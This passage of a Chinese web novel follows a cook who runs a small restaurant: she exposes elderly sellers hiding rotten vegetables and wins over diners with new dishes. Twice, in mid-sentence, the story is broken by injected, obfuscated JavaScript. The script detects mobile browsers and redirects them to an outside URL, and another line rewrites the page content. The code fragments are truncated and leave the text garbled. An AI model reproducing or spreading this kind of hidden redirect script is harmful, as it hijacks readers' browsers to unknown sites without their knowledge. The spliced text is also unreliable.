“我找了师傅学的，做菜、选食材都学了。”江云枫想，要是祖母还在，估计要连打喷嚏了，“就按照实际重量算价格吧，不用送肉，我们店现在经营得挺不错的，蒸蒸日上。” 江云枫感觉到了鲁志元的善意，但她性格向来豁达，不喜欢占人便宜。 “江家小酒馆？”鲁志元回想了一下曾经吃到过的可怕味道，打了个激灵。 “是的，今时不同往日，有空来我们店吃饭吧，保证不会失望的。”江云枫看着鲁志元娴熟重新秤猪肉，在塑料袋上贴了标签。 “这个我可以作证，我几乎每天都要在他们店吃一次饭，享受美味~”万磊想起之前吃到的美食，又陶醉了。 鲁志元本来不信，但江云枫对分量的判断、讲话时坚定的眼神，以及万磊在旁边的推荐，让他突然对江家小酒馆非常好奇：“好，好，这么一说，过几天我一定得去你们店里看看。” 江云枫付过钱，两人和鲁志元道别。 “小江老板，你人真好，明明不讲出来可以占便宜的，你也不贪心。”万磊算了算，那些多给的猪肉有好几十了。 “诚信比这些贵重多了，不管做人还是开店，守好底线才能走得长远。”江云枫想起上一世刚开店时祖母的教导，这些话穿过悠悠岁月，依然影响着她。 “你说得对！”万磊更佩服江云枫了。 万磊也不懂怎么选菜更新鲜，只尽到了“好搬运工”的职责，江云枫在各种肉摊、菜摊前娴熟挑选，他就屁颠颠跟在后面接过一个个装满菜的塑料袋，像是大佬身后的小弟。 不过万磊挺乐呵的，看着各种食材，猜测新菜品是什么，把自己猜得口水直冒。 出了农贸市场的大棚，人行道边还有一些卖菜的散户，大多没有资质，用三轮车装了各种菜，吆喝着贩卖。 江云枫朝一对六十多岁的老夫妇的摊位走去，看到一个年轻女生正在挑菜，她戴着粉色贝雷帽，打扮很精致，和菜市场的画风格格不入。 老夫妻在说什么“菜收成不好”、“走了四十公里路才把菜运过来”，那女生叹了口气，说“真不容易”，而后拿起几捆茼蒿，只是看了看就装进袋子，没有仔细挑选。 江云枫走近时，老夫妻已经把菜装袋称好，递给女生：“这些26元。” “26元？好吧......” 三捆茼蒿根本要不了这么贵，女生听到这个价格有些疑惑，但看看面前腰背佝偻、面容沧桑的老夫妻，又不忍心反驳。 刚要付钱，那老爷子开口：“姜也剩得不多了，你看要不......再带一块，帮我们早点卖完早回家吧。” 也不等女生回复，老太婆把姜放在秤上，快速按了几下按钮，拿下来塞在女生手里的塑料袋里：“差不多4块，加一起30元，刚好凑个整数。” 女生只是愣了两秒，就要付款。 江云枫挑了挑眉，拿起一捆茼蒿，在手里掂了掂，那菜叶子上被喷了很多水，让一捆菜都重了不少。 有些奇怪的是，一根茼蒿却用了三个红绳，捆得严严实实的，江云枫依照往日经验感觉有猫腻，凑近闻了闻。 她用嗅觉判断食材新鲜程度的功夫很了得，那茼蒿外层虽然是新鲜菜叶气息，里面却夹杂了轻微腐烂的味道。 “这菜里面恐怕不新鲜。”江云枫肯定道，“拆开看看再决定要不要买吧。” 那女生支付密码输到一半，听到这话停了下来。 老夫妻也愣了一下，随后满脸可怜地看向江云枫：“姑娘，你看这菜叶子都是饱满的，怎么会不新鲜呢。姑娘你不能因为想还价，就给我们扣黑锅吧？” “还是不要这么说吧，老人家也不容易......”那女生犹豫着开口。 “话可别说太早，我们小江老板不确定的事不会乱说。”万磊知道江云枫不是冒失的人，说话肯定有根据。 “这样吧，拆开看一下就行了。”江云枫说着，从兜里掏出20元纸币放在菜边，买这捆菜绰绰有余，“钱先放这里，如果里面菜没坏，我就买下；如果坏了，那就给这姑娘把菜退了。” 老夫妇支支吾吾，很紧张地扑过来阻拦。 “没有你这样的......你不许拆......” “你怎么欺负老人啊？我们老人卖菜容易吗！” 周围的人闻声围了过来，见一方是年轻人，一方是老年人，本能站了队，刚想指责江云枫，就见她快速拆开了三条红绳。 那一捆茼蒿，从外面看，都是新鲜支楞的菜叶，嫩绿色的，打开来，内部遮挡的不少叶子是深绿色的，已经有点脓烂了，因为裹在里面，看不出来。 答案不言自明。 那女生惊呆了，赶紧把自己买的三捆菜也拆开来看，里面都是烂的。 “这......前几天菜喷了水蔫了，我们不想浪费才......”老夫妻眼神躲闪，显然是知情的。 “你们怎么这样啊！我还觉得你们老年人卖菜不容易，结果26块买这些，还坑我！”女生感觉一阵心寒。 “26元买三捆菜？这价格也坑人啊，这点菜的市场价也就10元出头！”一个烫着波浪头的大姐路过，愤愤不平道。 “而且还喷了水，水也压秤。”手里提了好几袋子菜的过路大爷补充道。 “我刚才还想说这年轻人欺负老人呢，没想到是老人在耍诈！真气人啊！”一个胖胖的大叔带着妻子和女儿围观。 “这个姜也不太新鲜。”江云枫收回自己放在摊位上的20元，从女生的塑料袋拿出生姜，那姜一头有点黑，稍微掰开一点，就能看到里面也烂了。 “这......幸好我没买......”女生欲哭无泪。 “这老夫妻怎么改卖菜了？上次他们假装滞销果农，在这里卖烂水果，骗了几个小姑娘五百多，被市场管理员罚款之后赶走了，现在这是另起炉灶了？”一位知情的大姨说道。 “对不起，我们不卖了，不卖了。”老夫妇见被戳破，赶紧收拾东西逃了。 “还好没付款，我想着他们是老年人不容易，真没想到......”那女生垂头丧气的，“你真厉害，不会被道德绑架。” 江云枫笑笑，上辈子刚开店时，这种事遇见太多了，几个菜贩觉得江云枫和祖母淳朴善良，卖惨、压秤、注水......很多小伎俩都耍过。 当然后来都被她们一一识破，换了诚信可靠的菜贩稳定供菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“正餐加一道板栗腊味焖饭，价格和排骨饭一样。素菜加一道梅花四素，一道脆皮嫩豆方，都是18元。”江云枫说道。 “那我中午就吃这些！”万磊期待地搓搓手。 “有新品？我们也想吃！就点两份板栗腊味焖饭吧。”两个食客听到有新品，眼睛亮起来。 “我也想吃这个。”林若雪笑道。 “你们真是相信我的手艺，连样菜都没出就敢点。”江云枫一脸狡黠的笑，心里乐开了花。 “那当然了，昨天吃过就知道，你做什么菜我们都不会踩雷的。”两个食客应道。 “我虽然没有尝过你的手艺，但我相信你的为人。”林若雪肯定地颔首。 “我就不用说了。我想第一个吃到新品！”万磊像小学生一样举手。 “没问题，第一份新品给你，辛苦今天帮我搬运菜品。大家的饭也会随后上桌。”江云枫说着，进了厨房。 大梁美食讲究一个应季尝鲜，秋日正是板栗成熟时，江云枫买了好几斤板栗，圆滚滚，金灿灿的。 她将板栗个个切开小口，放在热水中煮熟，捞出也更好剥皮。 刚从猪肉铺买的腊肠，酒红色夹杂着白色的颗粒，外皮褶皱而带着淡淡油光。 切成薄片，在热锅中煸炒，白色的油脂融化变成液体，浓厚的腊肉香气，被热油爆香。 香菇片、胡萝卜块、板栗加入其中，来回翻炒，那花生油和腊肉油混合着裹上各种食材，整锅食材都是亮晶晶的，覆盖着薄薄的油膜。 淘好的大米加入其中，再加上各种酱油，搅拌成均匀的浅棕色。 此时腊味饭的成色已经足够诱人。 江云枫这段时间，把电饭煲的功能研究透彻了，原本焖饭应该使用砂锅，用更长时间焖熟，现在用电饭煲效率提高很多。 她将混合好的食材转移到电饭煲中，点开了开关。 大堂内的四人闲聊着，看似耐心，实则焦灼地等待着腊味饭的完成。 随着时间推移，腊味的醇厚、酱汁的咸香、板栗的甜味，融合在一起，从电饭煲的缝隙中钻出，蔓延在整个厨房中，又慢慢溢到大堂里。 江云枫打开电饭煲盖子时，万磊、林若雪和其他两个食客异口同声。 “江老板，饭好了？！” 11. 板栗腊味饭、梅花四素 四个人期待地望着江云枫，像是幼儿园排好队的小朋友在等待放饭，让她觉得有些滑稽。 “饭好了，不要着急，每个人都有。”江云枫能感觉到，手中的饭勺一直被视线追随着。 电饭煲够大，染成棕色的米饭，在她视线内铺了好大一片，像是沙滩。 其中的栗子、胡萝卜和香菇，宛如海滩上的贝壳，有的直接就在最上面，有的藏在米饭中等待发掘。 勺起勺落，酱香的米饭包裹着各种食材，在白色的盘子中堆成小山。 “第一份先给你，今天帮我采购，让我省了很多力气。”江云枫将第一份盛好的饭放在万磊面前。 “不客气，小江老板以后有需要，还可以来找我帮忙！”万磊说着，视线完全离不开面前的盘子，其他三个人的目光也聚焦于此。 米饭被酱汁浸润，成为色泽均匀的棕色，由于裹了腊肉的油汁，看上去泛着一层亮晶晶的光。 热腾腾的香气冒出来，让他们几个人都更感觉到肚子的干瘪。 “看着就好香啊......”林若雪一脸羡慕。 “好喜欢吃这种裹着酱汁的米饭，很入味，不会像是白米饭一样吃着寡淡。”另外两个食客也馋了。 好在江云枫很快将其他三人的腊味饭上桌，才压住他们想要凑过来吃一口的冲动。 万磊因为第一个拿到饭，有点小小的骄傲，总觉得今天帮江云枫的忙超值。 他用勺子搅拌着米饭，酱汁包裹的米饭微黏，搅拌时会发出软稠的声音。 一勺饭入口，米饭薰染了腊肠香气，还有红烧汁的咸香和蚝油的鲜爽，汁水充沛，即使只吃米饭，也不会觉得干。 “这饭就算干吃，我也能干两碗！”万磊肯定地点头，凑在盘子边，往嘴里扒拉好几口饭，腮帮子鼓鼓地嚼着，一脸满足。 林若雪吃东西很秀气，她先夹了颗栗子，咬了一半。 栗子圆滚滚的，呈现出金棕色，经过长时间的焖煮，已经变得软糯。 外层吸了些腊肉味，细细咀嚼，那面感很强的栗子，化为口中一缕绵密，嚼成浆状，栗子悠长的甜味回味无穷。 “味道确实不一般......”林若雪眼前一亮，舀了一勺饭。 米饭咸香醇厚，腊肠片薄薄一层，细嚼却是很有沉淀感的醇香，香菇嫩滑而多汁，调和了油味不至于发腻，胡萝卜清甜。 一口饭下肚，蔬菜、肉和碳水各有各的美味，纷纷在舌尖绽放。 林若雪有些陶醉了：“之前怎么没吃过这么美味的腊肠饭啊！” 另外两个食客，先是被香味吸引。 深酒红色的腊肠片，微微褶皱，腊香四溢，栗子散发厚重的微甜，米饭则带着湿漉漉的清香。 揉合在一起，击溃了味蕾的防线。 腊肠片口感紧实，外层的肠衣很有拉扯感，内里的肉每被牙齿挤压一次，就渗出一些油汁。 腊味流淌在舌头上，带来低度酒一样的刺激感，更勾人食欲。 三个人刚开始吃饭，还会赞叹几句，越吃越尽兴，就顾不上说话了。 万磊每往口中扒拉三口饭，就夹两片腊肠和一块胡萝卜当配菜。 林若雪每吃几口，都要擦一擦嘴上的油光和嘴角的酱汁，那醇厚的味道全部留在口中，一呼气都是香味。 剩下两个食客，则是舀一勺米饭，将板栗、胡萝卜、香菇、腊肠都堆上去，张大口一勺吃下。 板栗的软糯，香菇的菌香，胡萝卜的清甜，腊肠的油脂丰厚，融合在一起，每一口都是人生的满足。 “刚才的等待真是值得！”两个食客不仅把腊味饭吃得一粒不剩，还刮着盘子上最后的一点油。 林若雪吃到只剩最后一点，舍不得吃完了，咀嚼速度放慢下来，细细品味着每一口。 “除了这道菜，还有这么多菜可以选择，真幸福。” 林若雪看着墙上的菜品照片，深棕色泛着光的三杯鸡、粉嫩鲜虾和豆腐煨在一起的虾煲，雪白的鱼肉浸在澄黄的鸡汤中...... 往常她去饭店，不会想把店内所有的菜吃一遍，可现在她已经暗暗安排时间，把菜单上的菜品都挨个打卡了。 “竟然这么快就吃完了......”万磊吃完最后一口，有点愣了，明明他记得刚开始吃第一勺，不知道怎么回事，所有饭都入了肚子了，“小江老板，我想再来一份。” 万磊话音刚落，就见江云枫端了两盘不一样的菜，放在了他面前。 “这是......你刚才说的那两道素菜？” “是的，新品梅花四素和脆皮嫩豆方。”江云枫打着手势一一介绍，“那我再给你盛一份腊味饭？” “好嘞！” 面前的两份素菜，不像是小馆子里，随随便便就把几种素菜炒在一起，而是有着精心的摆盘。 梅花四素这道菜，包含着焯过水的翠绿鲜芦笋，切出锯齿状花纹的胡萝卜片，顺润光滑的香菇，黄澄澄的玉米笋，雪白而大朵的银耳。 种种素菜各成一小堆，拼在一起形成一个环形。 而脆皮豆腐方是用细长条的盘子盛的，每一块像是夹心饼干一样，方正的豆腐中间，加了一层带着颗粒感的馅料。 那馅料看不出是什么，但因为是深棕色的，总让人觉得会很好吃。浅棕色的汤汁淋在豆腐上，在盘中显得很浓稠。 “看上去好精致啊......”一旁的食客投来目光。 “那个黄色的好像迷你玉米，真可爱！”林若雪指着玉米笋，它只有一根手指长，形状却是缩小版的玉米，小小的颗粒看着很萌。 江云枫盛了腊味饭回来，放在桌上：“确实算是迷你玉米，玉米笋就是甜玉米没长大的状态。” “那估计会很嫩。”林若雪已经想象到了清甜的口感，暗暗咽了口水，“我也想来两份素菜。” “可以呀，马上就做好。” “看你是第一次来吧，你也马上就要走上无数次当回头客的路喽。”两个食客调侃道。 “这里的饭菜就是很让人着迷啊。”林若雪嘿嘿笑笑，拨弄着刘海。 万磊本身更喜欢吃肉，对素菜不是很感兴趣，但这顿是江云枫免费请吃的，他想着菜都做好了，干脆尝尝味道。 那精致的摆盘，让他忍不住拍了好几张照片，然后才开始动筷子。 梅菜四素的所有菜上，都包裹着一层莹润的汤汁，筷子夹起菜品时，还会挂汁。 为了不让那汁水滴下来，万磊“吸溜”一下，把芦笋吸到嘴里。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793543|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刚入口，竟然是一股鸡汤的鲜味，原来那汤汁是勾了芡的鸡汤。 芦笋脆脆嫩嫩的，清爽而多汁。 有了鸡汤的加持，所有的素菜都带着一股肉香，而素菜本身又很清爽，整体吃起来，鲜香又清淡。 “哇......我第一次觉得，素菜也可以这么好吃。”万磊感慨着，又夹了玉米笋，咬了一口尖尖。 那玉米笋颗粒小小的，一咬就粒粒爆汁，非常自然的玉米香甜满口。 “真甜！”万磊继续往下咬，玉米笋的外层颗粒是爆浆的，内里的芯子又像是笋一样脆。 那玉米笋从上到下一点点消失在万磊口中。 一整颗吃完，他非常满足。 “你吃得我好馋......”林若雪羡慕得想敲桌子。 “哼哼~”万磊摇头晃脑的，嘴上不停。 “不用馋，你的菜也来喽。”江云枫做菜效率很高，这会儿就将两盘菜放在林若雪面前了。 “太好了！”林若雪激动地将鬓边碎发撩到耳后，“这个豆腐看上去更好吃欸。” 豆腐两面煎得金黄，不过并不硬，勺子挖一下，就能切一小块下来。 裹了酱汁的豆腐，以及中心的深棕色夹心一同入口，林若雪眼前一亮。 那酱汁是猪肉的肉汤，而且勾芡之后非常浓稠，肉香醇厚。 豆腐两面很焦香，慢嚼又能感觉到豆腐的清润满溢。 “中间的夹心是什么？脆脆的。”那夹心是好几种碎末混合而成，既有鲜滑的口感，嚼起来又“嚓嚓”脆响。 “加了荸荠和香菇末、笋丁。”江云枫看着她细品时的表情，认真解答。 “很有巧思的用料。”林若雪又来了一口，“豆腐衬出了菜丁的爽脆多汁，菜丁又衬出了豆腐的嫩滑、入口即化。” “还有这个酱汁也熬得非常浓稠，吃豆腐也跟吃肉一样。”万磊也吃了一大口脆皮豆腐方，“我之前都不爱吃素菜的，现在我觉得自己什么素菜都爱吃！” 两人大嚼大咽的样子逗笑了江云枫，也让其他两个食客大为眼馋。 “不行，我们不走了，我们也想各来一份这个素菜！”两个食客急得想拍桌。 “没问题！” 江云枫上完菜，看着大家在大堂吃饭，侧身倚靠在厨房门边，翻看着手机。 刚才做完这些新品，她拍了很多新品菜的图片。 板栗腊味饭是治愈的棕色，散发着热腾腾的白气；梅花四素是绿、橙、白、黑的拼色，鲜艳惹眼；脆皮豆腐方每个都板板正正，汤汁晶莹，勾人食欲。 所有照片都不需要修图，就已经很诱人了，江云枫也不太会修图，直接将图片发在了【江家小酒馆食客群】。 “这是江家小酒馆今日的上新菜品，一道正餐，浓香饱腹；两道素菜，清脆爽口。有空可以来店里品尝哦~” 虽然【江家小酒馆食客群】已经有了将近60人，不过江云枫觉得，这个群还是人少到不起眼，而且大家不可能每时每刻都在看手机。 她以为发了新品消息之后，会冷场很久，还在想要不要找大堂里的几位食客在群里捧捧场。 没想到，她这边消息刚点了“发送”键，没过几秒，群内瞬间多了20多条回复。 12. 脆皮豆腐方 【苏慧茹：恭喜新品推出！（烟花.jpg）（烟花.jpg）】 【万弘顺：我竟然不是第一个回复的！那我当第一个品尝的好了。】 【我还能吃三碗饭：这焖饭看着也太诱人了！每一粒米都裹了汤汁的感觉......可恶啊我中午吃饭太早了！】 【披萨心肠：这个素菜拼盘看上去也好美味......刚吃完饭又流口水了。】 【梁晖：全部菜单我都吃过一遍了，现在终于上新菜了，等我去吃！（墨镜.jpg）】 【龚书蕾：加我一个加我一个~】 【睡到人间煮饭时：这是什么？香香腊肠饭！炫我嘴里！ 这是什么？五彩素菜拼盘！炫我嘴里！ 这是什么？金灿灿豆腐块！炫我嘴里！】 【我有了素质：这是什么？江家小酒馆！炫我嘴里！】 ...... 江云枫微笑地浏览着一条条回复，被群友们的热情和嗷嗷待哺感染到。 食客的积累像是滚雪球，好多人来过之后还会回头，而且还会推荐朋友来。 江云枫算了一下营业额，最晚明天就能赚够房租了，比计划提前了4天。 大堂的四个人很快吃完了饭，林若雪走之前，非常不舍得，一直说着“下回还来”。江云枫将她拉进了食客群，群内刚好满60人。 中午最忙碌的时段，又来了很多回头客，也包括看到群内新品的万弘顺。 中午的营业过后，江云枫将所有碗盘收拾进厨房，进行洗刷。 往日在大梁，百姓人家一般将皂荚捣烂泡入水中，用浸出来的汁液洗碗，还有些人家会自制手工肥皂。 江云枫以前闲时，会制作艾草茯苓皂、椰香栀子花皂、侧柏叶香皂，拿来洗碗、日常清洁都很好用，物件上沾染的都是大自然的味道。 眼前的洗洁精用着也还好，流过之处的油渍都干净了，冲洗之下碗盘白洁如新，不过就是滑溜溜的，江云枫不是很适应，琢磨着什么时候再自制一些香皂用。 洗净碗盘、打扫完卫生，江云枫看着店内，一面墙虽有写了菜谱的黑板，另一面墙却是光秃秃的毫无点缀。 趁着不到饭点，江云枫去了古文字画市场，买了两幅卷轴挂画，挂在墙上。 那挂画一幅是风中摇曳的翠竹，另一幅是花瓣些许飘落的紫藤萝，两幅画一上墙，饭馆内又增加了几分生机。 新的菜品名称和图片，也被江云枫一笔一划写在了黑板上。 - 下午五点多，江云枫正在备菜，房东夫妻作为晚饭饭点的第一波食客，进了店。 “小江老板，我们又来吃饭了！”梁晖胖胖的脸上堆满笑意，“我看群里发的新品，那个腊肠饭真让人眼馋，给我们来两份吧。” “对啊，还有新品的素菜，还挂着汤汁，看着很不一般，名字也好听。”龚书蕾点了梅花四素和脆皮豆腐方。 “没问题。”江云枫拿着点菜的小本子，在上面记录着菜品，“喝的要点什么？” “我们要一壶桂花饮。”梁晖和龚书蕾商量完选了饮品。 “好嘞，腊肠饭已经上锅了，我先给你们拿饮料。”江云枫打开冰箱，里面整整齐齐摆放着若干瓶可乐，连同刚泡好的桂花饮，一同端给两人。 “这几天，两位为我攒够房租，贡献了不少。”江云枫调侃道。 房东夫妻现在每天都来江家小酒馆，跟每日打卡似的。 “那还不是因为确实好吃嘛。”龚书蕾推了推眼镜，想起在这里吃过的一道道美味，脸上泛起幸福的笑容。 “是的，吃到美食就是一种放松，在这里不管吃什么菜，味道都很惊喜。”梁晖喝了一口桂花饮。 那带着桂花香气的茶饮涌入口腔，微酸的味道很是开胃。 “对了，你要是手头紧，房租不着急交，我们可不希望粮仓搬走了。”梁晖说着哈哈大笑，龚书蕾也笑了。 房东夫妻现在的反应，和之前催着要房租相比，判若两人。 “多谢了，不过我现在生意好起来了，按时交房租没问题。我先去做菜了。”江云枫说着走进厨房。 很快，他们点的饭菜齐了。 梁晖拿着大勺子炫饭，任由那香喷喷的米饭和油汪汪的腊肠，填满口腔，带来热气和香味。 再喝一口酸甜中带着果香和桂花甜香的桂花饮，将那香味送进胃中，带来饱腹感。 龚书蕾则是先咬了一口豆腐，感受着裹了肉汤的豆腐的鲜美，以及荸荠碎在齿缝间清脆破裂的响声。 - 自从前几天在闺蜜小群里，被李心怡安利了江家小酒馆，周燕生和孟玥就蠢蠢欲动，想去试试看，这些菜品是不是和看上去一样美味。 她们闺蜜三个经常一起出动探店，这次选在了三人都有空闲时间的周六，一起来到江家小酒馆。 “咱们去的是正规餐馆吗？”周燕生跟在李心怡身后，穿梭在小巷子里，越走越疑惑。 “是正规餐馆，放心吧，我都去过好几次了。”李心怡解释道。 “我还以为会是什么商业街上的大饭店，没想到竟然在这么隐蔽的地方。”孟玥啧着舌，走路小心翼翼的，免得地上的尘土脏了她身上的名牌衣服。 来到江家小酒馆门前时，周燕生和孟玥都愣了，她们两个家境都不错，经常吃的都是档次很高的贵价餐馆。 李心怡把松果肉和炸鸡松照片发在群里时，两人也以为是高档餐厅。 现在看到江家小酒馆朴素的门头，她们都不知道说什么了。 “我知道你们想说什么，放心，这家店保证好吃。”李心怡竖起右手作发誓状。 “但愿如此吧。”周燕生和孟玥都幽幽叹了一口气。 进店之后，周燕生感觉比想象中好很多，虽然桌椅有些破旧，不过被打扫得很干净。 桌上的插花和墙上的挂画，都很有品味，给整个店增加了几分文艺气息。 更重要的是，向她们走来的老板，没有以前见过的苍蝇小馆的老板那么有市侩气息，反而举手投足间都很有气质。 甚至让她觉得，这老板是不是什么家世尊贵的人，来体验生活来了。 “好像确实很不错欸......”周燕生被墙上的菜单吸引住了。 簪花小楷写出来的菜名，非常适中的价格，卖相诱人的图片，都让周燕生改变了对这家小饭馆的态度。 “又见面啦。”江云枫和李心怡打招呼，“今天是跟好朋友们一起聚餐？” “是的，这两位都是我闺蜜，我带她们来尝尝你家的美食。”李心怡笑道。 “那我推荐你们尝尝新推出的三道菜品。”江云枫指了下新菜品的名称，“饱腹又不油腻，荤素搭配着吃刚刚好。” “可以呀，那我要一份腊肠饭，一份梅花四素和一份脆皮豆腐方。”李心怡点菜，“你们呢？” “咱们三个吃不一样的吧，这样可以换着尝。”周燕生提议道，见其他两人都点头，她点了一份三杯鸡，一壶奶茶。 “我......额，我来一份啤酒鸭好了。”孟玥点菜时兴致缺缺。 “好的，先给你们上奶茶，其他菜稍等就来。”江云枫将菜品记下，先从厨房盛了一壶奶茶来。 “这饭馆一共才几道菜，真没什么可选的啊......”见江云枫进了厨房，孟玥忍不住吐槽，“而且一共才六张桌子都坐不满，怕是快要倒闭了吧？这做出来的东西能好吃吗？” 李心怡还没开口，旁边一桌坐着的房东夫妻率先插嘴反驳。 “别看就这几道菜，每道都是别家饭店吃不到的精华啊。”龚书蕾说着，咬了一口豆腐。 豆腐被热油煎过，外层焦焦的，整块豆腐嫩而多汁，肉汤伴随咀嚼入口，浓香满口。 “是的，别看现在坐不满人，过段时间估计想排队都排不上嘞。”梁晖笑着孟玥不懂好东西，说完，往嘴里塞了一口饭，“你现在要是不多尝几道，过几天会后悔的。” 腊肠每片都是薄薄的，酒红色的肉与白色的脂肪颗粒错杂在一起，怎么看怎么美味。 伴随着咀嚼，腊肉香气和油汁一同渗出，而那清甜的栗子又解了腻，搭配上酱汁满满的饭，一口下肚，让人很幸福。 “这有什么可后悔的，多吃一些高档餐厅，就知道没有什么菜时不可取代的。”孟玥笑着摇头，她作为花很多钱吃喝玩乐的富二代，吃到过的好东西太多了，根本不把哪家店放在眼里。 房东夫妻默契对视，放慢了吃饭的速度，等着她吃到江云枫做的饭之后，态度一百八十度大转变。 “先吃了再说。”李心怡也笑。 孟玥给两个闺蜜都倒了奶茶，又给自己满上，喝了一口。 想象中廉价的香精色素味道并没有出现。 奶茶入口非常丝滑，纯牛奶的香气很纯正，茶叶用的也是好的红茶，轻微的苦味更增茶香。 更勾人的，是奶茶中一抹似有若无的甜，孟玥尝出了红糖和红枣的味道。 “奶茶还不错。”孟玥一挑眉毛，点点头。 “哇，这个真是太好喝了。”周燕生“吨吨 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胡萝卜被腊汁煸炒过，包裹着橙红色的汁水，嚼起来脆度正合适，甜甜的味道混合着酱香浓厚的米饭，吃着很是爽口。 每嚼几下都会吃到腊肠，那腊肠略有嚼劲，带着微微酒香和浓厚的肉香，味蕾的感觉非常奇妙。 “江老板的推荐，果然不踩雷！”李心怡感慨着，大嚼着米饭，时不时舔舔嘴边的酱汁。 周燕生咬了一口三杯鸡，本以为是普通的鸡肉味道，却在舌尖接触到鸡肉的那一瞬间被折服。 鸡皮炸过的焦香，搭配着米酒的甜与微微的发酵气，还有酱汁的浓郁醇厚，这一口鸡肉吃下去，工作一周的烦躁感都被消解了。 “不是，这酱汁是有什么独门秘方吗？怎么一块普通的鸡肉也能做得这么好吃？”周燕生难以置信地又咬了两口，那热乎乎的鸡肉在口中翻腾，味蕾持续享受。 “我就说吧，这家店的饭菜很有魅力的。”李心怡鼻息间发出轻笑，又舀了勺带栗子的饭。 栗子软糯而绵密，越嚼越是有悠长的甜香，搭配着裹了蜡汁的的米饭，让李心怡好吃得长叹。 孟玥在心里暗想，这两个闺蜜还是吃的好东西不够多，才会少见多怪。 然而这种想法，在她吃了一口啤酒鸭后，戛然而止。 孟玥很喜欢吃鸭肉，外层的鸭皮肥美嫩滑，内层的肉又紧实鲜嫩，只是很少有人能把鸭肉做得很好吃。 因为鸭肉脂肪多，做不好就会油腻，而且有腥味，但是加了太多去腥去油的调料，又会让肉干柴，口感下降。 可这江家小酒馆做出来的啤酒鸭，味道却不一般。 恰到好处的啤酒去油，让整块鸭肉口感清爽，肥美却不腻口，鸭肉整体炒上焦糖色，入口微甜。 肉质紧实，却又不减其多汁，嚼一嚼，浓香的鸭肉汁渗出，让孟玥忍不住嗦了嗦。 “呼——”孟玥想要感慨一句真好吃，却又想起刚才自己脱口而出的否定，不想自己打脸自己，于是只呼出了一口热气。 几块鸭肉下肚，孟玥感觉胃里暖暖的，她又将视线转向那脆皮豆腐方。 外层煎至焦黄色的豆腐方，并不会因为筷子夹起而破碎，晶莹的汤汁浓稠地包裹在上面。 送入口中，先感受到的是肉汤的浓香，咀嚼间，豆腐的清香与之交杂，笋干和荸荠脆脆的，也是被酱汁入味过的，每一口都有汤汁渗出。 孟玥有点恍惚，她第一次吃到比肉还好吃的素菜。 好奇心又转向了梅花四素，那缩小版的玉米让她想笑。 “这还有玉米童工呢！”孟玥调侃道，夹起一颗玉米笋。 “哈哈哈哈哈这是什么东西啊，怎么这么可爱！”周燕生也夹了一颗。 玉米笋一咬就爆浆，玉米的清甜混合着浓醇的鸡汤味道，在口中飞溅，实在过瘾。 孟玥像是兔子，嚼嚼嚼，玉米笋从上到下消失在她嘴里。 看上去翠绿翠绿、掐一下似乎嫩得能滴水的芦笋，也被孟玥盯上了，咬住一端继续嚼嚼嚼。 脆脆的芦笋清新爽口，菜香混合着鸡汤香，让她陶醉。 每个菜都尝过后，孟玥的目光又落在了周燕生和李心怡的盘子里。 焦糖色的、泛着油光的三杯鸡，棕色的，带着栗子甜味和腊肉咸香的腊味饭，勾得她移不开视线。 在咽了好几下口水之后，孟玥终于开口。 “那个......你们的饭能让我尝一口吗？有点忍不住了。” 13. 宫廷酱牛肉 “你刚才不还讲，这里没什么菜可点，不相信这里的菜好吃嘛？”李心怡笑着揶揄。 “我......刚才是刚才，现在是现在。”孟玥脸上一阵红，“我哪儿想得到，这陋巷里面藏着这么厉害的小馆子，比我之前吃过的米其林、黑珍珠餐厅做出来的味道都要好。” “嗯，那你尝尝吧。”李心怡将盘子往前推了推，眼见着孟玥舀了一大勺饭，那饭在勺子上堆得老高，她又有点心疼了，“诶！你是真不客气！” “嘿嘿，你让我多吃两口，这顿饭我请了。” 那一勺饭太多，她没法一口吃下，张口吃了一半。 裹了酱汁的米饭略微粘稠，每一粒都从外而内完全入味。 腊肠咸香，油津津又带着几分甜，胡萝卜微脆，香菇又是嫩滑多汁的，再加上面面的栗子香。 这一口，饱含了各种滋味，回味无穷。 “三杯鸡我也想吃一口。”孟玥将最后一口饭塞进嘴里，又盯上了周燕生的三杯鸡，语气含混地讲道。 周燕生刚夹起一块三杯鸡，外层包裹的浓稠汤汁就要滴落，她赶紧加速送入口中，“滋儿”的一嗦，咸香中带着微甜的鸡汁在舌尖流淌。 “我自己还不够吃呢。”周燕生哼哼唧唧摇头。 “我先尝一下，一会儿再帮你点一份。”孟玥管不了那么多，直接伸筷子，周燕生用手臂圈住三杯鸡，可左防右防，还是被孟玥得逞了。 “真香啊。”孟玥咬住鸡皮一撕，软滑的鸡皮带了几分焦香与甜味，软嫩的鸡肉渗出带着米酒香气的汤汁。 热乎乎的鸡肉被吞下，孟玥起身走到厨房，跟江云枫点菜：“老板，你做的饭菜可太好吃了，再来一份三杯鸡，一份腊味饭吧，我一会儿打包带走。” 三个人刚进店时，江云枫就看到了孟玥和周燕生满脸的失望与挑剔，然而现在，一个正埋头苦吃，另一个站在自己面前，满脸崇拜。 江云枫一点儿也不觉得意外：“可以的，现在要按照点菜的顺序做，要稍等一段时间了。” “没关系，我可以等。”孟玥满脸诚恳。 孟玥回到位置上时，一旁的梁晖调侃道：“怎么样，刚才我就说不多点几道菜，就得排队了，现在后悔了没？” “后悔了。”孟玥大大方方实话实说，“我吃过不少好东西了，能吸引我的菜很少，但这里真的好吃，老板很不简单。” 孟玥不仅将最初点的饭菜吃得一干二净，后来点的三杯鸡和腊味饭都各吃了一半，实在是撑得吃不下才停。 后来江云枫帮她把没吃完的饭菜打包，她跟抱着什么宝贝一样乐滋滋地抱着走了。 一天的营业结束，江云枫算了下帐，只要再卖出去一份饭，这房租的1000元就赚到了。 而且不是营业额赚到1000元，是去除了食材成本、水电费之后的纯利润，赚到了1000元，而此时才营业将近一周，比原计划的10天提前不少。 